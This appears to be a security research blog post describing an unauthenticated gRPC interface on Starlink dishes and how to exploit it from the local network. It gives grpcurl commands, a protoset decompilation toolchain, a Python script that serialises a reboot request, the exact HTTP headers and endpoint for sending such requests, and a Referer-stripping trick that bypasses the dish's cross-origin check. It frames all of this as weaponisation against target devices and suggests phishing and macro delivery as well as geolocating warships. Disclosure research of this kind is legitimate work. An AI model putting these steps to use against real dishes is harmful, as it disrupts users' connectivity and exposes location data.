Starlink gRPC Execution
Project MARMALADE 2
High Level Brief
MARMALADE 2 allows administrative actions to be taken against target Starlink devices without permission. These administrative actions are all in-built legitimate features of Starlink devices intended to allow Starlink (the company) to manage its devices. However, MARMALADE 2 gives you the ability to weaponise these actions. This will allow such actions as rebooting Starlink or eliciting information, among other things. This disrupts the system denying its use and denying the users.
This blog post outlines the build process, instructions on using MARMALADE 2, and suggestions on how to deploy it against target devices.
The focus of this document is on using MARMALADE 2 to disrupt Starlink devices, specifically extacting data from the Dish itself and then forcing it to shutdown.
It should be noted this was disclosed to Starlink’s vulnerability management team under Responsible Disclosure and they have given permission for this to be published.
Introduction
Project MARMALADE covers the vulnerability research (VR) and exploit development against Starlink devices. MARMALADE 1 was a Denial of Service exploit against the built-in router in Starlink Minis which caused the router to enter a never ending boot loop when communicated to a specially crafted IPv6 address. This was disclosed to Starlink under responsible disclosure and has been patched as of 21.08.24.
MARMALADE 2 is based around the discovery that the Starlink dish hosts a gRPC service accessible directly on the LAN unauthenticated. This allows any device on the LAN to perform administrative functions directly against the dish, including but not limited to, rebooting the dish, physically rotating it, forcing it to expose its configuration, etc.
While interacting with a gRPC service natively from something like a browser is usually not possible without proxy-ware, due to some diagnostic features of the dish, users on the LAN can send specially crafted binary over HTTP 1.1 directly to the dish which is converted to gRPC on-device and executed.
This creates a payload, where a Threat Actor (TA) simply needs to send 3 bytes of binary over HTTP from any device they have access to on the LAN to interact with the dish. If combined with something like a browser RCE exploit, Browser CORs bypass, existing implant, spear-phishing payload, etc to gain Code Execution on the LAN a Threat Actor could remotely disrupt the network easily.
To achieve this for anything more than the “reboot” and “stow” gRPC commands, which are natively supported by the dish’s debug functionality, we need to reverse engineer the dish’s proto files from an extracted compiled protoset file to be able to generate our own valid binary data to then hijack the dish’s debug interface and gain arbitrary gRPC execution.
Attack Pathway
gRPC
To begin with let’s look at controlling a friendly Starlink dish via its gRPC service. This underlines the entire capability chain and also lists all possible capabilities with this exploit.
Using a generic gRPC client such as gRPCurl we can communicate with the dish. Note the dish always has a static IPv4 address of 192.168.100.1 and it runs its gRPC interface on port 9200.
Run the command:
grpcurl -plaintext 192.168.100.1:9200 describe SpaceX.API.Device.Request
This interacts with the “Device” proto and asks it to ‘describe’ valid requests:
As you can see there is a lot we can do with this API. It should be noted that during testing a number of these API calls responded “Unimplemented” meaning that the API call is not possible on this version of firmware. This could be planned for future firmware updates or have been removed and did work on older firmware versions. Additionally a handful of API calls did want authentication.
Interacting with raw gRPC is far from user friendly and there are plenty of open source tools that allow us to use other languages like Python, Rust, C#, etc.
For example the python tools found in this Git Repo: https://github.com/sparky8512/starlink-grpc-tools which has lots of helpful prebuilt tools:
The main thing we need to do here is extract the ‘protoset’ file. This is a compiled binary which acts like a kind of manifest for gRPC communications. It allows clients to structure their commands in ways the service expects. Extracting this is relatively straightforward. Using the Python script in the starlink-grpc-tools it is as simple as:
Or directly with gRPCurl:
grpcurl -plaintext -protoset-out "starlink.protoset" "192.168.100.1:9200" describe SpaceX.API.Device.Device
Additionally an archive of device protosets can be found here:
https://github.com/clarkzjw/starlink-grpc-golang/tree/master/protoset
Now we have our protoset we need to decompile it.
Protoset to Proto Files
Doing this requires a relatively complex build environment. The following steps work on a clean install of Debian:
First things first:
sudo apt-get update
Next we need to install PHP8.3. Save existing php package list to packages.txt file
sudo dpkg -l | grep php | tee packages.txt
Add Ondrej's repo source and signing key along with dependencies
sudo apt install apt-transport-https sudo curl -sSLo /usr/share/keyrings/deb.sury.org-php.gpg https://packages.sury.org/php/apt.gpg sudo sh -c 'echo "deb [signed-by=/usr/share/keyrings/deb.sury.org-php.gpg] https://packages.sury.org/php/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/php.list' sudo apt update
Install new PHP 8.3 packages
sudo apt install php8.3 php8.3-cli php8.3-{bz2,curl,mbstring,intl}
Install FPM
sudo apt install php8.3-fpm
On Apache: Enable PHP 8.3 FPM
sudo a2enconf php8.3-fpm
Remove old packages
sudo apt purge php8.2*
Restart Apache for completeness
sudo systemctl reload apache2
Install Composer
sudo apt-get install composer
Install PECL
sudo apt-get install autoconf zlib1g-dev php-dev php-pear
Install npm
sudo apt-get install npm
Install gRPC (Will take a long time)
sudo pecl install grpc
Enable the extension. Add this line anywhere in your php.ini file, for example, /etc/php/8.3/cli/php.ini. You can find this file by running php --ini
sudo nano /etc/php/8.3/cli/php.ini extension=grpc.so
Add gRPC to the PHP project
composer require "grpc/grpc:^1.38"
Get the decompiler
wget https://github.com/SRWieZ/grpc-protoset/archive/refs/heads/main.zip unzip main.zip cd grpc-protoset-main
Install the PHP Protoset decompiler
composer require srwiez/grpc-protoset
Decompile the protoset file into proto files
php cli/converter.php "protosetfile.protoset" ./proto
We should now have a new directory called proto that has proto files for all API endpoints. It should look something like this:
Most of the API endpoints, as outlined above, are in the device.proto API but there is certainly endpoints of interest in the other proto file APIs.
Now we have the readable proto file we effectively have a map for binary data and we can compile this into a range of executable formats such as python, JavaScript, TypeScript, etc. More on this later.
Hijacking the debug interface
If you browse directly to your Starlink dish you will see this interface:
This is interesting because there are two buttons. One to “reboot” and another to “stow”. These are executed with JavaScript. If we intercept our browser traffic while this page is open we see a constant stream of these POST requests:
So on port 9201 we are sending some form of data to the API URI:
/SpaceX.API.Device.Device/Handle
with a header of:
Content-Type: application/grpc-web+proto
and some Cross Site Origin headers.
Digging into this, let’s see what we get back from those requests:
It looks like we are getting status information back. In this POST, Burp is representing the gRPC data as “÷” but looking at the raw Hex data we can see it is actually 04 82 F7 02 00 (this will be important later):
Now if you notice that API URI structure “/SpaceX.API.Device.Device/” that is exactly the proto folder structure:
So we now know if we send a POST, from the LAN to a host of http://192.168.100.1:9201 with a URI of /SpaceX.API.Device.Device/Handle with the Headers of:
X-User-Agent: grpc-web-javascript/0.1
X-Grpc-Web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Content-Type: application/grpc-web+proto
Accept: */*
Origin: http://192.168.100.1
Referer: http://192.168.100.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Then we can directly request the device.proto API to do whatever we want. And remember that the potential API list is:
SignedData
RebootRequest
SpeedTestRequest
GetStatusRequest
AuthenticateRequest
GetNextIdRequest
GetHistoryRequest
GetDeviceInfoRequest
GetPingRequest
SetTrustedKeysRequest
FactoryResetRequest
GetLogRequest
SetSkuRequest
UpdateRequest
GetNetworkInterfacesRequest
PingHostRequest
GetLocationRequest
GetHeapDumpRequest
RestartControlRequest
FuseRequest
GetPersistentStatsRequest
GetConnectionsRequest
StartSpeedtestRequest
GetSpeedtestStatusRequest
ReportClientSpeedtestRequest
InitiateRemoteSshRequest
SelfTestRequest
SetTestModeRequest
SoftwareUpdateRequest
EnableDebugTelemRequest
IQCaptureRequest
GetRadioStatsRequest
GetTimeRequest
RunIperfServerRequest
TcpConnectivityTestRequest
UdpConnectivityTestRequest
SignedData
DishStowRequest
DishGetContextRequest
DishSetEmcRequest
DishGetObstructionMapRequest
DishGetEmcRequest
DishSetConfigRequest
DishGetConfigRequest
DishPowerSaveRequest
DishInhibitGpsRequest
DishGetDataRequest
DishClearObstructionMapRequest
DishSetMaxPowerTestModeRequest
DishActivateRssiScanRequest
DishGetRssiScanResultRequest
DishFactoryResetRequest
ResetButtonRequest
WifiSetConfigRequest
WifiGetClientsRequest
WifiSetupRequest
WifiGetPingMetricsRequest
WifiGetConfigRequest
WifiSetMeshDeviceTrustRequest
WifiSetMeshConfigRequest
WifiGetClientHistoryRequest
WifiSetAviationConformedRequest
WifiSetClientGivenNameRequest
WifiSelfTestRequest
WifiCalibrationModeRequest
WifiGuestInfoRequest
WifiRfTestRequest
WifiGetFirewallRequest
WifiTogglePoeNegotiationRequest
WifiFactoryTestCommandRequest
WifiStartLocalTelemProxyRequest
WifiRunSelfTestRequest
WifiBackhaulStatsRequest
WifiToggleUmbilicalModeRequest
WifiClientSandboxRequest
TransceiverIFLoopbackTestRequest
TransceiverGetStatusRequest
TransceiverGetTelemetryRequest
Services.Unlock.StartUnlockRequest
Services.Unlock.FinishUnlockRequest
GetDiagnosticsRequest
Although as mentioned above a number of these require further investigation to weaponize successfully.
Next we need to know what specifically to send to that endpoint to achieve the desired outcomes. So let’s try and generate a reboot packet. This will be best to do because we can validate it against what the “reboot” button on the page sends.
Firstly we need to compile that device.proto file into a python library so we can use python as a translator. That’s done with:
protoc --python_out=. device.proto
We now have a device_pb2.py file. Create a new Python script call rebootGen.py with the below script:
from device_pb2 import Request, RebootRequest
# Constructing the RebootRequest
request = Request()
request.reboot.CopyFrom(RebootRequest())
# Serialize to binary
serialized_data = request.SerializeToString()
print("Serialized Data:", serialized_data.hex())
Now obviously you would change this to be whatever function you want to achieve. But the idea is this will use the python library we created from a decompiled proto file to serialise the correct binary data we need to send to trigger a reboot action. Running that script gives us:
We can test this result easy enough. Lets intercept our traffic again and press the “reboot” button and see what we get:
And in Hex:
The leading 03 is just the length of the data and the next 3 bytes match! Looking at the original Hex data we had that showed status data was: 04 82 F7 02 00 that has a length of 4 and the next 4 bytes decode to 6000 which if we look inside the proto file:
Which makes sense as we were getting diagnostic information.
And for the record ca 3e 00 decodes to 1001 which if we look in the proto file:
So to recap, we have:
• Extracted the protoset file from the current firmware.
• Reverse engineered the protoset file to the individual API proto files.
• Created a script that gives us the hex representation of the binary data of different API request.
• Discovered the HTTP packet structure to request the dish’s gRPC service to perform actions.
This means that with just a few bytes of data, sent over HTTP, to a statically defined and hard coded IP address we can perform a number of administrative functions, and we can do this all natively without any special software on the target’s device. But Starlink have one more bit of defence in place.
Bypassing Cross Origin protection
This is technically a vulnerability in its own right. If you remember early when we looked at the packets we needed the headers:
This is to make sure that the request has actually come from the JavaScript provided by the dish and not anywhere else. If we just execute our new packet via some JavaScript or Python or whatever we get this:
However, the dish validates this by only looking at the “Referer” header, not the “Origin” header. And what’s worse, if you forcibly remove the “Referer” header it completely bypasses its Cross Origin policy:
This is pretty trivial to do with something like a meta tag in a HTML site:
<meta name="referrer" content="never">
NOTE: THIS BYPASSES THE CROSS ORIGIN POLICY OF THE STARLINK. IF USING SOMETHING LIKE A MALICOUS WEB SERVER WITH JAVASCRIPT TO SERVE THIS PAYLOAD TO AN UNSUSPECTING USER YOU WILL STILL NEED TO BYPASS CORS ON THE TARGET USER’S BROWSER.
Execution
There is many, many, ways this could be executed. Pretty much any device on the planet that has a network connection and is on the LAN could execute this. However I wanted to demonstrate a few options.
Word Macro:
JavaScript:
PowerShell:
Conclusion
You are now in a position to generate the required binary bytes needed to perform a range of unauthenticated actions against the Starlink dish, natively, on almost any device in existence with a NIC. How this could be used to perform further damage than just light disruption is unclear at this stage. However a number of the API calls that do work unauthenticated such as getHistory have tilt, rotation and elevation as well as hardware and software versions. I wonder if this could be used to geo-locate things like warships that utilise Starlink, or at the very least fingerprint them for SIGINT collection.